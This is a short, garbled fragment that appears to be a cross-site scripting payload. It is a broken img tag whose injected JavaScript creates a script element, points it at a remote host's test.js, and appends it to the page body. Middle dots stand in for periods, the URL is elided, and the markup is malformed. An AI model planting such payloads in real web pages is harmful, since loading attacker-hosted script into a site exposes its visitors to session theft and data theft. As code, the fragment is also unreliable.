...
img src="http://xss.xss/xss.jpg" x='
'..var x=document·createElement('script');x.src='http://www... /.../test.js';document·getElementsByTagName('body')[0]. appendChild(x);" /